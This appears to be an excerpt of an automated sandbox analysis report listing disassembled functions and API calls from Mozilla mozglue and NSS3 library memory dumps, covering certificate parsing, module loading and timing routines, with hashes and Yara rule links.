Associated: 00000000.00000002.2712561008.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713210459.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713308653.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713468508.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction ID: 658b735bf762aebd1eb55ad421c753acc8d8f3b2ac1c6ad5fe1dc3088615d149
Opcode Fuzzy Hash: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction Fuzzy Hash: 4BB193B1B09B009BDB08DF38C85561ABBF5FB8A704F55892DF599E3B90D730E9408B91

Function 6C96C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C96C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C96C969
GetSystemInfo.KERNEL32(?), ref: 6C96C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C96C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C96C9E2

Memory Dump Source

Source File: 00000000.00000002.2712832523.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2712561008.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713210459.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713308653.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713468508.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction ID: 9ee9738c2a8a6c4f9e6c533108214e4a777461f5b42f59fcf86c94ad6a6c57a6
Opcode Fuzzy Hash: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction Fuzzy Hash: 9721C832745A146BEB04AA69DC84BAE7279AB46744F60051AF903B7E80DB60E940C7A1

Function 6C953060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C953095

Part of subcall function 6C9535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
Part of subcall function 6C9535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
Part of subcall function 6C9535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
Part of subcall function 6C9535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
Part of subcall function 6C9535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
Part of subcall function 6C9535A0: __aulldiv.LIBCMT ref: 6C9536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95309F

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9530BE

Part of subcall function 6C9530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C953127
Part of subcall function 6C9530F0: __aulldiv.LIBCMT ref: 6C953140

Part of subcall function 6C98AB2A: __onexit.LIBCMT ref: 6C98AB30

Memory Dump Source

Source File: 00000000.00000002.2712832523.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2712561008.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713210459.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713308653.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713468508.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction ID: b3aebd78f234a2a2590a36ff075f2eaf2ac2b283d8202f17e2f694980101aa9a
Opcode Fuzzy Hash: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction Fuzzy Hash: E8F0A962D29F4C96CB10DF7498421E6B374AF7B118FA4571AF84477A61FB20B1D88391

Non-executed Functions

Function 6CA80700 Relevance: 145.2, APIs: 96, Instructions: 1215threadmemorytimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA80747

Part of subcall function 6CAD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA787ED,00000800,6CA6EF74,00000000), ref: 6CAD1000
Part of subcall function 6CAD0FF0: PR_NewLock.NSS3(?,00000800,6CA6EF74,00000000), ref: 6CAD1016
Part of subcall function 6CAD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA787ED,00000008,?,00000800,6CA6EF74,00000000), ref: 6CAD102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CA80760

Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD10F3
Part of subcall function 6CAD10C0: EnterCriticalSection.KERNEL32(?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD110C
Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1141
Part of subcall function 6CAD10C0: PR_Unlock.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1182
Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA8078C

Part of subcall function 6CACFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAC8D2D,?,00000000,?), ref: 6CACFB85
Part of subcall function 6CACFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CACFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CB99AEC,?), ref: 6CA807A4

Part of subcall function 6CACB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBA18D0,?), ref: 6CACB095

PR_SetError.NSS3(FFFFE076,00000000), ref: 6CA80932

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

PR_GetCurrentThread.NSS3 ref: 6CA807B0

Part of subcall function 6CB39BF0: TlsGetValue.KERNEL32(?,?,?,6CB80A75), ref: 6CB39C07

DER_GetInteger_Util.NSS3(-00000004), ref: 6CA807D4
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA8093D
PR_SetError.NSS3(FFFFE09D,00000000), ref: 6CA80972
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CB99D5C,?), ref: 6CA80998
PR_GetCurrentThread.NSS3 ref: 6CA809A8
PR_SetError.NSS3(FFFFE081,00000000), ref: 6CA809C5
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CA80A7A
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CB99BEC,?), ref: 6CA80AC2
PR_GetCurrentThread.NSS3 ref: 6CA80AD2
CERT_ImportCerts.NSS3(?,0000000A,?,?,00000000,00000000,00000000,00000000), ref: 6CA80B2B
PR_SetError.NSS3(FFFFE081,00000000), ref: 6CA80B44
PORT_NewArena_Util.NSS3(00000800), ref: 6CA80BAC
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6CB99D08,?), ref: 6CA80BCD
PR_GetCurrentThread.NSS3 ref: 6CA80BDD
PR_SetError.NSS3(FFFFE081,00000000), ref: 6CA80BFD
PR_SetError.NSS3(FFFFE07F,00000000), ref: 6CA80C11
PR_SetError.NSS3(FFFFE073,00000000), ref: 6CA80C76
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CA80CF3
SECITEM_ArenaDupItem_Util.NSS3(00000000,?), ref: 6CA80D1B
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,00000000), ref: 6CA80D36
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA80D94
CERT_DestroyCertArray.NSS3(?,00000000), ref: 6CA80DC3
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6CA80DE8
PR_GetCurrentThread.NSS3 ref: 6CA80DFD
PR_SetError.NSS3(FFFFE090,00000000), ref: 6CA80E22
SECITEM_CompareItem_Util.NSS3(00000047), ref: 6CA80E5A
PR_SetError.NSS3(FFFFE07F,00000000), ref: 6CA80E6F
CERT_IsCACert.NSS3(00000000,00000000), ref: 6CA80E7F
PR_SetError.NSS3(FFFFE090,00000000), ref: 6CA80EBC
PR_GetCurrentThread.NSS3 ref: 6CA80F2E
PR_GetCurrentThread.NSS3 ref: 6CA80F3C
PR_SetError.NSS3(FFFFE09D,00000000), ref: 6CA80F51
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CA80F5A
PR_GetCurrentThread.NSS3 ref: 6CA80F7F
CERT_DestroyCertificate.NSS3 ref: 6CA80F95
DER_GeneralizedTimeToTime_Util.NSS3(?,0000009F), ref: 6CA80FE8
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CA81060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CA8107F
SECOID_FindOID_Util.NSS3(?), ref: 6CA8108C
SECITEM_CompareItem_Util.NSS3(?,00000000), ref: 6CA810CB
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CA810F9

Part of subcall function 6CA7F3F0: SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CA7F453
Part of subcall function 6CA7F3F0: SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CA7F4A5
Part of subcall function 6CA7F3F0: SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CA7F4EA

SECITEM_CompareItem_Util.NSS3(?,00000000), ref: 6CA810DD
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CA8110E
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6CA8112A
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA81141
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA8114E
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6CA811B7
SECITEM_CompareItem_Util.NSS3(00000047), ref: 6CA81202
PR_SetError.NSS3(FFFFE07F,00000000), ref: 6CA8121A
SECOID_FindOID_Util.NSS3(?), ref: 6CA81226

Part of subcall function 6CAD07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA78298,?,?,?,6CA6FCE5,?), ref: 6CAD07BF
Part of subcall function 6CAD07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAD07E6
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD081B
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD0825

SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6CA81268
PK11_HashBuf.NSS3(?,?,?,?), ref: 6CA81285
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA81294
SECITEM_CompareItem_Util.NSS3(00000000,?), ref: 6CA812A7

Part of subcall function 6CACFCB0: memcmp.VCRUNTIME140(?,8B0B74C0,04C6831E,?,00000000,?,6CA74101,00000000,?,?,?,6CA71666,?,?), ref: 6CACFCF2

SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6CA813D1
PK11_HashBuf.NSS3(?,?,?,?), ref: 6CA813F5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA81408
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6CA8143F
PK11_HashBuf.NSS3(?,?,?,?), ref: 6CA8145A
SECITEM_CompareItem_Util.NSS3(00000000,?), ref: 6CA81473
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA81480
SECITEM_AllocItem_Util.NSS3(00000000), ref: 6CA814C1
PK11_HashBuf.NSS3(?,?,?,?,?,00000000,00000000), ref: 6CA814DB
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000,00000000), ref: 6CA814EA
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA814F9

Part of subcall function 6CA795B0: TlsGetValue.KERNEL32(00000000,?,6CA900D2,00000000), ref: 6CA795D2
Part of subcall function 6CA795B0: EnterCriticalSection.KERNEL32(?,?,?,6CA900D2,00000000), ref: 6CA795E7
Part of subcall function 6CA795B0: PR_Unlock.NSS3(?,?,?,?,6CA900D2,00000000), ref: 6CA79605

SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CA81522
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CA8153B
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA8155B
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA812B4

Part of subcall function 6CACFAB0: free.MOZGLUE(?,-00000001,?,?,6CA6F673,00000000,00000000), ref: 6CACFAC7

CERT_DecodeOidSequence.NSS3(?), ref: 6CA812EB
SECOID_FindOID_Util.NSS3(00000000), ref: 6CA81306
PR_SetError.NSS3(FFFFE090,00000000), ref: 6CA81331
free.MOZGLUE(?), ref: 6CA81346
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA81357
CERT_FindCertIssuer.NSS3(?,?,?,0000000B), ref: 6CA8137D
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA81570
PR_Now.NSS3 ref: 6CA81588
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6CA815D3
PR_Now.NSS3 ref: 6CA81623
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6CA8164F
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6CA81662
PR_GetCurrentThread.NSS3 ref: 6CA81678

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Compare$CurrentThread$ArenaZfree$DecodeDestroyHash$Arena_GeneralizedQuickTimeTime_Value$AllocAlloc_CertificateFindK11_$CertEqual_FreeItems$CriticalEnterLookupSectionTableUnlockfree$AllocateArrayCertsConstCopyImportInitInteger_IssuerLockPoolPublicSequencecallocmemcmpmemcpy
String ID:
API String ID: 782668047-0
Opcode ID: 77cb9582a7b89cf29cbc5a06c8b9b388d3044746c1e6161ea22bcb86eb55d32c
Instruction ID: fd9e791cb6e5c179605a3073e52dfbdb3854782fac4a0a1801d8b6ccadfc03b9
Opcode Fuzzy Hash: 77cb9582a7b89cf29cbc5a06c8b9b388d3044746c1e6161ea22bcb86eb55d32c
Instruction Fuzzy Hash: 5A92E5B5A0A3419FE710CF24DD40B6B77F4AF84318F18452CE99997B61E731E988CB92

Function 6CA86E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBD2120,6CA87E60), ref: 6CA86EBC
TlsGetValue.KERNEL32 ref: 6CA86EDF
EnterCriticalSection.KERNEL32(?), ref: 6CA86EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CA86F25

Part of subcall function 6CA5A900: TlsGetValue.KERNEL32(00000000,?,6CBD14E4,?,6C9F4DD9), ref: 6CA5A90F
Part of subcall function 6CA5A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CA5A94F

PR_Unlock.NSS3 ref: 6CA86F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CA86FA9
TlsGetValue.KERNEL32 ref: 6CA870B4
EnterCriticalSection.KERNEL32(?), ref: 6CA870C8
PR_CallOnce.NSS3(6CBD24C0,6CAC7590), ref: 6CA87104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA87117
SECOID_Init.NSS3 ref: 6CA87128
PORT_Alloc_Util.NSS3(00000057), ref: 6CA8714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA8717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA871A9
PR_NotifyAllCondVar.NSS3 ref: 6CA871CF
PR_Unlock.NSS3 ref: 6CA871DD
free.MOZGLUE(?), ref: 6CA871EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA87208
free.MOZGLUE(00000000), ref: 6CA87221
free.MOZGLUE(00000001), ref: 6CA87235
TlsGetValue.KERNEL32 ref: 6CA8724A
EnterCriticalSection.KERNEL32(?), ref: 6CA8725E
PR_NotifyCondVar.NSS3 ref: 6CA87273
PR_Unlock.NSS3 ref: 6CA87281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CA87291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA872B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA872D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA872E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA87301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA87310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA87335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA87344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA87363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA87372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CBC0148,,defaultModDB,internalKeySlot), ref: 6CA874CC
free.MOZGLUE(00000000), ref: 6CA87513
free.MOZGLUE(00000000), ref: 6CA8751B
free.MOZGLUE(00000000), ref: 6CA87528
free.MOZGLUE(00000000), ref: 6CA8753C
free.MOZGLUE(00000000), ref: 6CA87550
free.MOZGLUE(00000000), ref: 6CA87561
free.MOZGLUE(00000000), ref: 6CA87572
free.MOZGLUE(00000000), ref: 6CA87583
free.MOZGLUE(00000000), ref: 6CA87594
free.MOZGLUE(00000000), ref: 6CA875A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CA875BD
free.MOZGLUE(00000000), ref: 6CA875C8
free.MOZGLUE(00000000), ref: 6CA875F1
PR_NewLock.NSS3 ref: 6CA87636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CA87686
PR_NewLock.NSS3 ref: 6CA876A2

Part of subcall function 6CB398D0: calloc.MOZGLUE(00000001,00000084,6CA60936,00000001,?,6CA6102C), ref: 6CB398E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CA876B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CA87707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CA8771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CA87731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CA8774A
DeleteCriticalSection.KERNEL32(?), ref: 6CA87770
free.MOZGLUE(?), ref: 6CA87779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA877AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CA877C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA877DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CA87821
PORT_Alloc_Util.NSS3(?), ref: 6CA87837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA8785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA8786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CA878AC
free.MOZGLUE(00000000), ref: 6CA878BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CA878F3
free.MOZGLUE(00000000), ref: 6CA878FC
free.MOZGLUE(00000000), ref: 6CA8791C

Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607AD
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607CD
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607D6
Part of subcall function 6CA607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C9F204A), ref: 6CA607E4
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,6C9F204A), ref: 6CA60864
Part of subcall function 6CA607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA60880
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,6C9F204A), ref: 6CA608CB
Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608D7
Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608FB

Strings

name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CA874C7
rdb:, xrefs: 6CA87744
sql:, xrefs: 6CA876FE
kbi., xrefs: 6CA87886
NSS Internal Module, xrefs: 6CA874A2, 6CA874C6
,defaultModDB,internalKeySlot, xrefs: 6CA8748D, 6CA874AA
dll, xrefs: 6CA8788E
dbm:, xrefs: 6CA87716
Spac, xrefs: 6CA87389
extern:, xrefs: 6CA8772B

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: ce8c119768afd0078b6d54714cb4263b69c34bf0dac6ef6562da3a804b10edb6
Instruction ID: e907a6620b7701b39b3b8370a27ea585c3378428318510008d5557da2694c74a
Opcode Fuzzy Hash: ce8c119768afd0078b6d54714cb4263b69c34bf0dac6ef6562da3a804b10edb6
Instruction Fuzzy Hash: CA52E3B1E022459BEF119F64CD097AE7BB4AF15308F184028FD19E7B51E731E998CB92

Function 6CA96D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CB9A8EC,0000006C), ref: 6CA96DC6
memcpy.VCRUNTIME140(?,6CB9A958,0000006C), ref: 6CA96DDB
memcpy.VCRUNTIME140(?,6CB9A9C4,00000078), ref: 6CA96DF1
memcpy.VCRUNTIME140(?,6CB9AA3C,0000006C), ref: 6CA96E06
memcpy.VCRUNTIME140(?,6CB9AAA8,00000060), ref: 6CA96E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA96E38

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CA96E76
TlsGetValue.KERNEL32 ref: 6CA9726F
EnterCriticalSection.KERNEL32(?), ref: 6CA97283

Strings

!, xrefs: 6CA97123

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 9818b8c1f6ba6c7942d05204ab606598e4f319905e55614135d3ff7c98512a69
Instruction ID: 61d5c5277ee07dbaa59e2460ad84f18959e6b28a7bd44e172cda8d83db7812ed
Opcode Fuzzy Hash: 9818b8c1f6ba6c7942d05204ab606598e4f319905e55614135d3ff7c98512a69
Instruction Fuzzy Hash: 33726C75E052189FDF609F28CC89B9ABBF5AF49304F1441A9D80DA7711EB31AAC4CF91

Function 6CA5E6E0 Relevance: 44.2, APIs: 17, Strings: 8, Instructions: 452stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,6CA5DA6A,?,00000000,?,?), ref: 6CA5E6FF
sqlite3_initialize.NSS3(?,?,00000000,?,6CA5DA6A,?,00000000,?,?), ref: 6CA5E76B
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(6CA5DA6F,///,00000003,?,?,00000000), ref: 6CA5E7AC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(6CA5DA71,///,00000003), ref: 6CA5E7C8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA5E8E8
